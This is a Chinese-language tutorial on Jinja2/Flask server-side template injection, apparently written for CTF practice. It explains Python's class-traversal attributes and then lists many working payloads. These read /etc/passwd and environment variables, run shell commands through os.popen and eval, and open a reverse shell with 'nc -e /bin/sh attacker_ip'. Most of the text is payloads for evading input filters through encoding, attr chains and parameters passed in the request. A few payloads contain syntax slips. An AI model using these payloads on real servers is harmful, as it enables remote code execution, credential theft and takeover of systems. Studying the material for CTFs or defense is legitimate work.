前言
什么是SSTI
SSTI(Server-Side Template Injection) 是服务器端模板注入的缩写,是一种 web 应用程序漏洞,它出现在当应用程序使用模板引擎渲染用户输入时,攻击者能够在模板中注入恶意代码,进而执行未授权的操作或获取敏感信息。
在许多 web 框架中,模板引擎用于将动态内容渲染到网页上,通常会处理从用户端传递的变量。SSTI 漏洞的根本问题是,应用程序没有正确过滤或验证用户输入,导致攻击者可以注入恶意代码到模板中,这些代码在服务器端执行,进而实现远程代码执行或获取敏感数据。
常见的模板引擎
- Jinja2(Python)
- tornado(Python)
- Django(Python)
- Twig(PHP)
- Smarty(PHP)
- Blade(PHP)
- Freemarker(Java)
- Thymeleaf(Java)
- Velocity(Java)
- Handlebars(JavaScript)
- ERB(Ruby)
其中,Jinja2 是一个功能强大的模板引擎,广泛用于 Python 的各种场景中,尤其在 web 开发和配置文件生成方面应用广泛。
Jinja2 是 Flask 的默认模板引擎,Django 也支持 Jinja2 作为可选模板引擎。
接下来就来说说Jinja2的SSTI
Flask-jinja2 SSTI
Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 {{…}}
块
Jinja2使用 {{name}}
结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。
Jinja2 模板同样支持控制语句,像在 {%…%}
块中,下面举一个常见的使用Jinja2模板引擎for
语句循环渲染一组元素的例子:
<ul>
{% for comment in comments %}
<li>{{comment}}</li>
{% endfor %}
</ul>
另外Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。
Hello, {{name|capitalize}}
于是在Python环境下,倘若未进行严格过滤,可以结合沙盒逃逸来进行SSTI注入
大体思路:
找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。
常用内置属性
__class__
属性
__class__
是对象的一个内置属性,用来表示对象所属的类。每个实例(对象)都拥有一个 __class__
属性,它指向该实例的类或类型。
>>> ''.__class__
<type 'str'> //字符串
>>> ().__class__
<type 'tuple'> //元组
>>> [].__class__
<type 'list'> //列表
>>> {}.__class__
<type 'dict'> //字典
__bases__
属性
__bases__
用于表示当前类的直接父类(或基类)。它是一个包含父类的元组,仅在类对象上有效。也可以使用数组索引来查看特定位置的值。
- 注意是只列出直接基类,不包含继承链中的间接父类。
简单来说就是返回类型列表,得和读取的连起来使用,比如说__class__
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__[0].__bases__[0] // python2下与python3下不同
<type 'object'>
>>> [].__class__.__bases__[0]
<type 'object'>
__mro__
属性
__mro__
是 Python 中的一个内置属性,全称是“Method Resolution Order”,即方法解析顺序。
它用于表示类的继承顺序,特别是在多重继承的情况下,帮助 Python 确定在调用方法或属性时应该按什么顺序查找各个基类。
通过 __mro__
,可以按照继承顺序检查属性或方法的位置,可以用此方法来获取基类
>>> ''.__class__.__mro__ // python2下和python3下不同
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)
>>> ().__class__.__mro__[1] // 返回的是一个类元组,使用索引就能获取基类了
<class 'object'>
__base__
属性
__base__
此方法也可以直接获取基类
>>> ''.__class__.__base__
<class 'object'> //python3下的
>>> ''.__class__.__base__ //python2下的
<type 'basestring'>
>>> [].__class__.__base__
<type 'object'>
>>> {}.__class__.__base__
<type 'object'>
>>> ().__class__.__base__
<type 'object'>
__globals__
属性
__globals__
用于表示当前函数或方法的全局命名空间(即当前函数所在模块的全局作用域)。它是一个字典,包含了所有在函数定义时可见的全局变量。
其与 func_globals
等价。
例如:
{{ __globals__['open']('/etc/passwd', 'r').read() }}
{{ __globals__['eval']('__import__("os").system("id")') }}
常用魔术方法
当掌握了这些类继承的方法,我们可以从任何一个变量回溯到最开始的基类<class 'object'>
中,再去获得这个最开始的基类所有能实现的子类,就可以有很多的类和方法了。
__subclasses__()
方法
__subclasses__()
是一个类方法,可以在任意类上调用。
它返回一个列表,包含所有直接继承自该类的子类,但不包括更深层次的派生类(即不会递归包含子类的子类)。
可以利用这个魔术方法返回基类object
的子类
若利用__bases__
就有一个小细节要注意
错误操作:
>>>''.__class__.__bases__
(<class 'object'>)
>>>''.__class__.__bases__.__subclasses__()
# 报错
正确操作:
>>>''.__class__.__bases__[0]
<class 'object'>
>>> ''.__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>,......]
- 错误原因:
__bases__
返回的是(<class 'object'>)
其外面有()
的包裹,即返回的为一整个数组。
__bases__[0]
选中了第0个,也就是<class 'object'>
这个类
也可以使用__base__
属性
>>>''.__class__.__base__
<class 'object'>
>>>''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>,......]
因为:
__base__
用于表示当前类的直接父类(即单继承时的父类),__bases__
是一个元组,包含当前类的所有直接父类(即父类的元组)。- 对于单继承的情况,
__base__
与__bases__[0]
返回的结果是相同的。
找出可以利用的类
上述操作中查出了许多子类,那么如何找到我们想要的子类呢?
可以使用这个脚本
a=''' 这里放入查出的子类 '''
a=a.split(',')
num=0
for i in a:
if '<class \'os._wrap_close\'>' in i: # ' ' 里放入要查找的子类(记得转义单引号)
print("num:",num)
num+=1
print("end")
__builtins__
方法
__builtins__
是 Python 中的一个内置模块,包含了 Python 解释器的所有内置函数、异常、类型和其他对象。
它在每个 Python 环境中都可用,是一个非常重要的命名空间。
通过 __builtins__
,你可以访问 Python 的所有内置对象,比如 print()
、eval()
、open()
等。
例如:
#方法一
{{ __builtins__.eval('__import__("os").system("id")') }}
#方法二
{{ __builtins__['eval']('__import__("os").popen("env").read()') }}
在第一个方法中,使用了 __builtins__.eval
来直接访问 eval。
在第二个方法中,使用了 __builtins__['eval']
,这其实是通过字典的方式获取 eval
函数。虽然效果相同,但这种方式可能绕过一些模板引擎的限制(如果模板引擎对方法名进行了限制)。
__import__()
函数
__import__()
函数的基本用法是通过传入一个模块的名称,来导入该模块。这个函数与 import
语句不同,import
语句是语法糖,而 __import__()
允许你以字符串的方式传入模块名,并提供了更细粒度的控制。
例如:
{{ __import__("os").popen("cat /etc/passwd").read() }}
{{ __import__("os").system("nc -e /bin/sh attacker_ip 1234") }}
__init__
方法
__init__
是 Python 中类的构造方法,用于初始化对象
{{config.__class__.__init__.__globals__['os'].environ['flag']}}
在这里,config.__class__.__init__
是指类的构造函数(__init__
方法)。通过这种方式,攻击者可以访问 config
类的构造函数,但这里的目标是利用 __globals__
,而不是直接执行 __init__
方法。
用SSTI读取文件
python2中我们可以利用子类<type 'file'>
(假设在第40位)
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')
在Python 3环境中file
类已经没有了,文件对象的类型是 <class '_io.TextIOWrapper'>
或 <class '_io.BufferedReader'>
常用<class 'filter_frozen_importlib_external.FileLoader'>
或者直接调用open
函数读文件
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
利用SSTI执行命令
遍历含有eval
函数即os
模块的子类,利用这些子类中的eval
函数即os
模块执行命令。
记住几个含有eval
函数的类
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
寻找 os
模块执行命令
Python的 os
模块中有system
和popen
这两个函数可用来执行命令。
system()
函数执行命令是没有回显的,我们可以使用system()
函数配合curl
外带数据;popen()
函数执行命令有回显。- 所以比较常用的函数为
popen()
函数,而当popen()
函数被过滤掉时,可以使用system()
函数代替。
可以看到,即使是使用os
模块执行命令,其也是调用的os
模块中的popen
函数,那我们也可以直接调用popen
函数,存在popen
函数的类一般是 os._wrap_close
,但也不绝对。
所以说需要时可以查找popen
和os
,常用示例如下:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
绕过方法
关键字绕过
我们可以利用+
进行字符串拼接,绕过关键字过滤
这种绕过需要一定的条件,返回的要是字典类型的或是字符串格式(即str
)的,即payload中引号内的,在调用的时候才可以使用字符串拼接绕过
{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}
payload中引号内的,在调用的时候都可以使用字符串拼接绕过。
编码绕过
base64编码绕过
对引号内的代码进行base64编码后再后接.decode('base64')
可以进行绕过
# 编码前
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
# 编码后
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13,16进制编码。这一切都是基于我们可以执行命令实现的。
利用Unicode编码绕过
例如
# 编码前
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
# 编码后
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}
当我们使用eval
来执行命令时几乎所有命令都是置于引号之下的,所以我们利用对引号内的内容进行编码绕过的话是可以轻松绕过许多过滤的,例如对os
,ls
等的过滤。
利用hex编码绕过
当过滤了u
时,上面的Unicode与base64编码就不灵了,所以我们需要使用一种与前两种编码形式区别较大的编码来进行绕过
我们可以利用hex编码的方法进行绕过
# 编码前
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
# 编码后
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
这里注意,在进行hex编码的时候我们需要选用/x
的形式,这样才能有效绕过。
利用引号绕过
单双引号都行,假如过滤了flag
时,我们可以使用fl''ag
或者fl""ag
的形式来绕过
().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read()
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()
只要是字符串的,即payload中引号内的,都可以用引号绕过
利用join()
函数绕过
我们可以利用join()
函数来绕过关键字过滤。例如,题目过滤了flag,那么我们可以用如下方法绕过:
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()
这也是基于对PHP函数命令的理解来的。
绕过对其他字符的过滤
过滤了中括号[]
利用__getitem__()
绕过
可以使用getitem()
方法输出序列属性中某个索引处的元素(相当于[]
)
简单理解就是:[] = __getitem__()
>>> "".__class__.__mro__[2]
<type 'object'>
>>> "".__class__.__mro__.__getitem__(2)
<type 'object'>
例如:
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}} // 指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
利用字典读取绕过
我们知道访问字典里的值有两种方法,一种是把相应的键放入熟悉的方括号[]
里来访问,一种就是用点.
来访问。所以,当方括号[]
被过滤之后,我们还可以用点.
的方式来访问,如下示例
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}
在题目无其他限制的时候,上述两种方法是等效的
也就是说
['__builitins__'] <=> .__builtins__.
['xxx'] <=> .xxx.
过滤了引号'' ""
利用chr()
绕过
使用 ord()
可以获取字符的 ASCII(或 Unicode)值。
使用 chr()
可以将 ASCII(或 Unicode)值转换为字符。
单引号 ('
) 的 ASCII 值是 39。
双引号 ("
) 的 ASCII 值是 34。
我们没法直接使用chr()
函数,所以我们需要先通过__builtins__
来找到它
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}
然后我们再去赋值给chr,后面拼接字符串
{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
整合在一起就变成了
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
等同于
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
利用request
对象绕过
request
有两种形式,request.args
和request.values
,当args
被过滤时我们可以使用values
,且这种方法POST和GET传递的数据都可以被接收,相对于通过chr()
进行绕过,这种方法更为简单和便捷。
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
构造后为
{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
过滤了点.
利用|attr()
绕过
|attr()
为jinja2原生函数,是一个过滤器,它只查找属性获取并返回对象的属性的值,过滤器与变量用管道符号( |
)分割,它不止可以绕过点。所以可以直接利用,即
().__class__ 相当于 ()|attr("__class__")
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
# 可转化为
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
|attr()
配合其他绕过方法可以同时绕过下划线、引号、点、中括号等
利用中括号[]
绕过
使用中括号直接进行拼接
类似于上面说过的直接访问方式和字典访问方式等效
{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}
# 可转化为
{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
同时,我们可以发现,这样绕过点之后,我们几乎所有的关键字都成了字符串,我们就可以用上面的一些方法绕过了,比如hex编码,这样我们几乎可以绕过全部的过滤。
过滤了大括号{{ }}
我们可以用Jinja2的{%...%}
语句装载一个循环控制语句来绕过,这里我们在一开始认识flask的时候就学习了:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
这里在一开始的时候通过{%...%}
载入了两个循环语句,通过for和if遍历函数,寻找出'catch_warnings'
这一命令然后将其命名为c
,再通过找出的c
命令组合构造语句,执行命令,最后用在引入两个end
语句来终止前面的for
和if
的循环语句。
也可以使用 {% if ... %}1{% endif %}
配合 os.popen
和 curl
将执行结果外带(不外带的话无回显)出来:
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %}
也可以用 {%print(......)%}
的形式来代替{{ }}
,如下:
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
组合绕过
同时过滤了 .
和 []
|attr()
+__getitem__
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
# 等同于:
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}
同时过滤了 __
、点.
和 []
__getitem__
+|attr()
+request
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()
# 相当于:
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
总结
基本结构
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
获取基类的几种办法
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__bases__
{}.__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0] //其他的类似
- 注意:如果
._'
这些被过滤了,可以用16进制编码绕过!!!
例如:
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}
特别注意用16进制编码之后里面要加"
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
常用的过滤器
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count
fenjing
fenjing 这是一个CTF Jinja SSTI常规题通杀工具
使用方法参考:https://xz.aliyun.com/t/12586?time__1311=GqGxuiD%3DG%3DGQiQD%2FY25BKTqmw2zDcjApWoD
参考文章
https://xz.aliyun.com/t/11090?time__1311=Cq0x2Qi%3DwxnDlxGghDRiD9nQGCSU33x#toc-8